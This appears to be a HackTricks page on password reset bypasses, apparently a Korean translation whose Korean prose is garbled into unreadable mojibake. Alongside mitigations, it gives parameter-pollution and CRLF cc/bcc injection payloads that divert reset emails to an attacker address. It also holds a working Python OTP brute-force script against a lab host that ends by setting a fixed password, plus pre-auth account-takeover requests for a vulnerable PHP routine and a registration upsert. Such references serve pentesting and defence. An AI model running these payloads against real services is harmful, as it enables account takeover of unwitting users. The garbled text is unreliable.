Reset/Forgotten Password Bypass
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
Password Reset Token Leak Via Referrer
- HTTP referer header๊ฐ URL์ ํฌํจ๋ ๊ฒฝ์ฐ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ํ ํฐ์ด leak๋ ์ ์์ต๋๋ค. ์ฌ์ฉ์๊ฐ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ์ ์์ฒญํ ๋ค ์ 3์ ์น์ฌ์ดํธ ๋งํฌ๋ฅผ ํด๋ฆญํ ๋ ์ด๋ฐ ์ํฉ์ด ๋ฐ์ํ ์ ์์ต๋๋ค.
- Impact: Cross-Site Request Forgery (CSRF) ๊ณต๊ฒฉ์ ํตํด ๊ณ์ ํ์ทจ ๊ฐ๋ฅ์ฑ.
- Exploitation: ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ์ ๋ณธ์ธ ์ด๋ฉ์ผ๋ก ์์ฒญํ๊ณ ์ ๊ณต๋ ๋ฆฌ์ ๋งํฌ๋ฅผ ํด๋ฆญํฉ๋๋ค. ์ฆ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ณ๊ฒฝํ์ง ๋ง์ธ์. ๋์ Burp Suite๋ก ์์ฒญ์ ๊ฐ๋ก์ฑ๋ฉด์ Facebook์ด๋ Twitter ๊ฐ์ ์ 3์ ์น์ฌ์ดํธ๋ก ์ด๋ํฉ๋๋ค. ์์ฒญ์ ๊ฒ์ฌํ์ฌ referer header์ ๋น๋ฐ๋ฒํธ ์ฌ์ค์ ํ ํฐ์ด ํฌํจ๋์ด ์๋์ง ํ์ธํ์ธ์. ์ด๋ ์ 3์์๊ฒ ๋ฏผ๊ฐํ ์ ๋ณด๋ฅผ leakํ ์ ์์ต๋๋ค.
- References:
- HackerOne Report 342693
- HackerOne Report 272379
- Password Reset Token Leak Article
Password Reset Poisoning
- ๊ณต๊ฒฉ์๋ password reset ์์ฒญ ์ค Host header๋ฅผ ์กฐ์ํ์ฌ ๋ฆฌ์ ๋งํฌ๋ฅผ ์ ์ฑ ์ฌ์ดํธ๋ก ์ ๋ํ ์ ์์ต๋๋ค.
- Impact: ๋ฆฌ์ ํ ํฐ์ด ๊ณต๊ฒฉ์์๊ฒ leaking๋์ด ์ ์ฌ์ ์ธ ๊ณ์ ํ์ทจ๋ก ์ด์ด์ง ์ ์์ต๋๋ค.
- Mitigation Steps:
- Host header๋ฅผ ํ์ฉ ๋๋ฉ์ธ ํ์ดํธ๋ฆฌ์คํธ์ ๋์กฐํ์ฌ ๊ฒ์ฆํฉ๋๋ค.
- ์ ๋ URL์ ์์ฑํ ๋๋ ์์ ํ ์๋ฒ์ฌ์ด๋ ๋ฐฉ๋ฒ์ ์ฌ์ฉํฉ๋๋ค.
- Patch: ๋น๋ฐ๋ฒํธ ์ฌ์ค์ URL์ ๊ตฌ์ฑํ ๋
$_SERVER['SERVER_NAME']์ ์ฌ์ฉํ๊ณ$_SERVER['HTTP_HOST']๋ ์ฌ์ฉํ์ง ๋ง์ธ์. - References:
- Acunetix Article on Password Reset Poisoning
Password Reset By Manipulating Email Parameter
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- ๊ณต๊ฒฉ์๋ ๋ฆฌ์ ๋งํฌ๋ฅผ ์ฐํ์ํค๊ธฐ ์ํด ์ถ๊ฐ ์ด๋ฉ์ผ ํ๋ผ๋ฏธํฐ๋ฅผ ์ถ๊ฐํ์ฌ password reset ์์ฒญ์ ์กฐ์ํ ์ ์์ต๋๋ค.
- ๊ณต๊ฒฉ์ ์ด๋ฉ์ผ์ ๋ ๋ฒ์งธ ํ๋ผ๋ฏธํฐ๋ก &๋ฅผ ์ฌ์ฉํด ์ถ๊ฐ &
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
- %20์ ์ฌ์ฉํ์ฌ attacker email์ ๋ ๋ฒ์งธ ๋งค๊ฐ๋ณ์๋ก ์ถ๊ฐ
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
- ํ์ดํ(|)๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์ ์ด๋ฉ์ผ์ ๋ ๋ฒ์งธ ๋งค๊ฐ๋ณ์๋ก ์ถ๊ฐ
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
- ๊ณต๊ฒฉ์ ์ด๋ฉ์ผ์ cc๋ก ๋ ๋ฒ์งธ ๋งค๊ฐ๋ณ์์ ์ถ๊ฐ
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
- bcc๋ฅผ ์ฌ์ฉํ์ฌ ๊ณต๊ฒฉ์ ์ด๋ฉ์ผ์ ๋ ๋ฒ์งธ ๋งค๊ฐ๋ณ์๋ก ์ถ๊ฐ
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
- ๋ ๋ฒ์งธ ๋งค๊ฐ๋ณ์๋ก attacker email์ ์ถ๊ฐํ๋ ค๋ฉด ,๋ฅผ ์ฌ์ฉํ์ธ์
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
- json ๋ฐฐ์ด์ ๋ ๋ฒ์งธ ๋งค๊ฐ๋ณ์๋ก attacker email์ ์ถ๊ฐํฉ๋๋ค
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
- ์ํ ์กฐ์น:
- ์ด๋ฉ์ผ ํ๋ผ๋ฏธํฐ๋ฅผ ์๋ฒ ์ธก์์ ์ฌ๋ฐ๋ฅด๊ฒ ํ์ฑํ๊ณ ๊ฒ์ฆํ์ธ์.
- injection attacks๋ฅผ ๋ฐฉ์งํ๊ธฐ ์ํด prepared statements ๋๋ parameterized queries๋ฅผ ์ฌ์ฉํ์ธ์.
- ์ฐธ๊ณ ์๋ฃ:
- https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be
- https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/
- https://twitter.com/HusseiN98D/status/1254888748216655872
API ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ๋ชจ๋ ์ฌ์ฉ์ ์ด๋ฉ์ผ ๋ฐ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ
- ๊ณต๊ฒฉ์๋ API ์์ฒญ์ ์ด๋ฉ์ผ ๋ฐ ๋น๋ฐ๋ฒํธ ํ๋ผ๋ฏธํฐ๋ฅผ ์์ ํ์ฌ ๊ณ์ ์๊ฒฉ ์ฆ๋ช ์ ๋ณ๊ฒฝํ ์ ์์ต๋๋ค.
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
- ์ํ ์กฐ์น:
- ๋งค๊ฐ๋ณ์ ๊ฒ์ฆ๊ณผ ์ธ์ฆ ํ์ธ์ ์๊ฒฉํ ์ํํ์ธ์.
- ์์ฌ์ค๋ฌ์ด ํ๋์ ํ์งํ๊ณ ๋์ํ ์ ์๋๋ก ๊ฐ๋ ฅํ ๋ก๊น ๋ฐ ๋ชจ๋ํฐ๋ง์ ๊ตฌํํ์ธ์.
- ์ฐธ๊ณ ์๋ฃ:
- Full Account Takeover via API Parameter Manipulation
No Rate Limiting: Email Bombing
- password reset ์์ฒญ์ ๋ํด rate limiting์ด ์์ผ๋ฉด email bombing์ผ๋ก ์ด์ด์ ธ ์ฌ์ฉ์๊ฐ ๋ฆฌ์ ์ด๋ฉ์ผ๋ก ์๋๋ ์ ์์ต๋๋ค.
- Mitigation Steps:
- IP ์ฃผ์ ๋๋ ์ฌ์ฉ์ ๊ณ์ ๊ธฐ๋ฐ์ผ๋ก rate limiting์ ๊ตฌํํ์ธ์.
- ์๋ํ๋ ์ ์ฉ์ ๋ง๊ธฐ ์ํด CAPTCHA ๋์ ์ ์ฌ์ฉํ์ธ์.
- References:
- HackerOne Report 280534
Find out How Password Reset Token is Generated
- Token ์์ฑ ๋ฐฉ์์ ํจํด์ด๋ ๋ฉ์๋๋ฅผ ์ดํดํ๋ฉด token์ ์์ธกํ๊ฑฐ๋ brute-forcingํ ์ ์์ต๋๋ค. ๋ช ๊ฐ์ง ์ต์ :
- ํ์์คํฌํ ๊ธฐ๋ฐ
- UserID ๊ธฐ๋ฐ
- ์ฌ์ฉ์ email ๊ธฐ๋ฐ
- Firstname ๋ฐ Lastname ๊ธฐ๋ฐ
- ์๋ ์์ผ ๊ธฐ๋ฐ
- Cryptography ๊ธฐ๋ฐ
- Mitigation Steps:
- ํ ํฐ ์์ฑ์๋ ๊ฐ๋ ฅํ cryptographic ๋ฐฉ์์ ์ฌ์ฉํ์ธ์.
- ์์ธก ๊ฐ๋ฅ์ฑ์ ๋ฐฉ์งํ๊ธฐ ์ํด ์ถฉ๋ถํ randomness์ ๊ธธ์ด๋ฅผ ๋ณด์ฅํ์ธ์.
- Tools: Burp Sequencer๋ฅผ ์ฌ์ฉํ์ฌ ํ ํฐ์ ๋ฌด์์์ฑ์ ๋ถ์ํ์ธ์.
Guessable UUID
- UUIDs (version 1)์ด ์ถ์ธก ๊ฐ๋ฅํ๊ฑฐ๋ ์์ธก ๊ฐ๋ฅํ๋ฉด, ๊ณต๊ฒฉ์๋ ์ด๋ฅผ brute-forceํ์ฌ ์ ํจํ reset tokens๋ฅผ ์์ฑํ ์ ์์ต๋๋ค. ํ์ธ:
- Mitigation Steps:
- ๋ฌด์์์ฑ์ ์ํด GUID version 4๋ฅผ ์ฌ์ฉํ๊ฑฐ๋ ๋ค๋ฅธ ๋ฒ์ ์๋ ์ถ๊ฐ ๋ณด์ ์กฐ์น๋ฅผ ์ ์ฉํ์ธ์.
- Tools: guidtool์ ์ฌ์ฉํด GUID๋ฅผ ๋ถ์ํ๊ณ ์์ฑํ์ธ์.
Response Manipulation: Replace Bad Response With Good One
- ์๋ฌ ๋ฉ์์ง๋ ์ ํ์ ์ฐํํ๊ธฐ ์ํด HTTP ์๋ต์ ์กฐ์ํ๋ ๊ฒ.
- Mitigation Steps:
- ์๋ฒ ์ธก ๊ฒ์ฆ์ ๊ตฌํํ์ฌ response ๋ฌด๊ฒฐ์ฑ์ ๋ณด์ฅํ์ธ์.
- man-in-the-middle ๊ณต๊ฒฉ์ ๋ฐฉ์งํ๊ธฐ ์ํด HTTPS ๊ฐ์ secure communication channels๋ฅผ ์ฌ์ฉํ์ธ์.
- Reference:
- Critical Bug in Live Bug Bounty Event
Using Expired Token
- ๋ง๋ฃ๋ token์ด ์ฌ์ ํ password reset์ ์ฌ์ฉ ๊ฐ๋ฅํ์ง ํ ์คํธํฉ๋๋ค.
- Mitigation Steps:
- ์๊ฒฉํ token ๋ง๋ฃ ์ ์ฑ ์ ์ ์ฉํ๊ณ server-side์์ ๋ง๋ฃ๋ฅผ ๊ฒ์ฆํ์ธ์.
Brute Force Password Reset Token
- Burpsuite์ IP-Rotator ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํด reset token์ brute-force ์๋ํ์ฌ IP ๊ธฐ๋ฐ rate limits๋ฅผ ์ฐํํฉ๋๋ค.
- Mitigation Steps:
- ๊ฐ๋ ฅํ rate-limiting ๋ฐ ๊ณ์ ์ ๊ธ ๋ฉ์ปค๋์ฆ์ ๊ตฌํํ์ธ์.
- brute-force ๊ณต๊ฒฉ์ ์์ฌํ๋ ์์ฌ์ค๋ฌ์ด ํ๋์ ๋ชจ๋ํฐ๋งํ์ธ์.
Try Using Your Token
- ๊ณต๊ฒฉ์์ reset token์ด ํผํด์์ email๊ณผ ํจ๊ป ์ฌ์ฉ๋ ์ ์๋์ง ํ ์คํธํฉ๋๋ค.
- Mitigation Steps:
- ํ ํฐ์ด user session์ด๋ ๋ค๋ฅธ ์ฌ์ฉ์ ๊ณ ์ ์์ฑ์ ๋ฐ์ธ๋ฉ๋๋๋ก ํ์ธ์.
Session Invalidation in Logout/Password Reset
- ์ฌ์ฉ์๊ฐ logoutํ๊ฑฐ๋ password resetํ ๋ ์ธ์ ์ด ๋ฌดํจํ๋๋์ง ํ์ธํฉ๋๋ค.
- Mitigation Steps:
- ์ ์ ํ session ๊ด๋ฆฌ๋ฅผ ๊ตฌํํ์ฌ logout ๋๋ password reset ์ ๋ชจ๋ ์ธ์ ์ด ๋ฌดํจํ๋๋๋ก ํ์ธ์.
Session Invalidation in Logout/Password Reset
- Reset tokens์๋ ๋ง๋ฃ ์๊ฐ์ด ์์ด ๋ง๋ฃ ํ ๋ฌดํจํ๋์ด์ผ ํฉ๋๋ค.
- Mitigation Steps:
- reset tokens์ ํฉ๋ฆฌ์ ์ธ ๋ง๋ฃ ์๊ฐ์ ์ค์ ํ๊ณ server-side์์ ์ด๋ฅผ ์๊ฒฉํ ์ ์ฉํ์ธ์.
OTP rate limit bypass by changing your session
- ์น์ฌ์ดํธ๊ฐ wrong OTP ์๋๋ฅผ ์ถ์ ํ๊ธฐ ์ํด user session์ ์ฌ์ฉํ๊ณ , OTP๊ฐ ์ฝํ ๊ฒฝ์ฐ(<= 4์๋ฆฌ) ์ค์ ๋ก OTP๋ฅผ ํจ๊ณผ์ ์ผ๋ก bruteforceํ ์ ์์ต๋๋ค.
- ์ ์ฉ ๋ฐฉ๋ฒ:
- ์๋ฒ์ ์ํด ์ฐจ๋จ๋ ํ ์ session token์ ์์ฒญํ๋ฉด ๋ฉ๋๋ค.
- ์์: ์ด ๋ฒ๊ทธ๋ฅผ ์ ์ฉํด OTP๋ฅผ ๋ฌด์์๋ก ์ถ์ธกํ๋ ์ฝ๋ (์ธ์ ์ ๋ณ๊ฒฝํ๋ฉด OTP๋ ๋ณ๊ฒฝ๋์ด ์์ฐจ์ ์ผ๋ก bruteforceํ ์ ์์):
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep
headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"
parms = dict()
ter = 0
phpsessid = ""
print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")
try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)
if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)
cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session
reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)
reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)
print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")
Arbitrary password reset via skipOldPwdCheck (pre-auth)
์ผ๋ถ ๊ตฌํ์ password-change ๋ฃจํด์ skipOldPwdCheck=true๋ก ํธ์ถํ๋ password change action์ ๋ ธ์ถํ๊ณ , reset token์ด๋ ์์ ๊ถ์ ํ์ธํ์ง ์์ต๋๋ค. ๋ง์ฝ endpoint๊ฐ change_password ๊ฐ์ action ํ๋ผ๋ฏธํฐ์ ์์ฒญ ๋ณธ๋ฌธ์ username/new password๋ฅผ ํ์ฉํ๋ค๋ฉด, ๊ณต๊ฒฉ์๋ pre-auth ์ํ์์ ์์์ ๊ณ์ ์ resetํ ์ ์์ต๋๋ค.
์ทจ์ฝํ ํจํด (PHP):
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);
// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}
public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}
Exploitation ์์ฒญ (๊ฐ๋ ):
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!
Mitigations:
- ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ์ ์ ๊ณ์ ๊ณผ ์ธ์ ์ ๋ฐ์ธ๋ฉ๋ ์ ํจํ ์๊ฐ์ ํ(reset) ํ ํฐ์ ํญ์ ์๊ตฌํ์ธ์.
- skipOldPwdCheck ๊ฒฝ๋ก๋ฅผ ๋น์ธ์ฆ ์ฌ์ฉ์์๊ฒ ์ ๋ ๋ ธ์ถํ์ง ๋ง์ธ์; ์ผ๋ฐ ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ์๋ ์ธ์ฆ์ ๊ฐ์ ํ๊ณ ๊ธฐ์กด ๋น๋ฐ๋ฒํธ๋ฅผ ํ์ธํ์ธ์.
- ๋น๋ฐ๋ฒํธ ๋ณ๊ฒฝ ํ ๋ชจ๋ ํ์ฑ ์ธ์ ๊ณผ ๋ฆฌ์ ํ ํฐ์ ๋ฌดํจํํ์ธ์.
Registration-as-Password-Reset (Upsert on Existing Email)
์ผ๋ถ ์ ํ๋ฆฌ์ผ์ด์ ์ signup handler๋ฅผ upsert๋ก ๊ตฌํํฉ๋๋ค. ์ด๋ฉ์ผ์ด ์ด๋ฏธ ์กด์ฌํ๋ฉด handler๋ ์์ฒญ์ ๊ฑฐ๋ถํ๋ ๋์ ์ฌ์ฉ์ ๋ ์ฝ๋๋ฅผ ์กฐ์ฉํ ์ ๋ฐ์ดํธํฉ๋๋ค. registration endpoint๊ฐ ๊ธฐ์กด ์ด๋ฉ์ผ๊ณผ ์ ๋น๋ฐ๋ฒํธ๋ฅผ ํฌํจํ ์ต์ํ์ JSON ๋ฐ๋๋ฅผ ๋ฐ์ผ๋ฉด, ์ด๋ ์์ ๊ถ ๊ฒ์ฆ ์์ด pre-auth password reset์ด ๋์ด full account takeover๋ฅผ ํ์ฉํฉ๋๋ค.
Pre-auth ATO PoC (๊ธฐ์กด ์ฌ์ฉ์์ ๋น๋ฐ๋ฒํธ ๋ฎ์ด์ฐ๊ธฐ):
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
์ฐธ๊ณ ์๋ฃ
- https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token
- https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


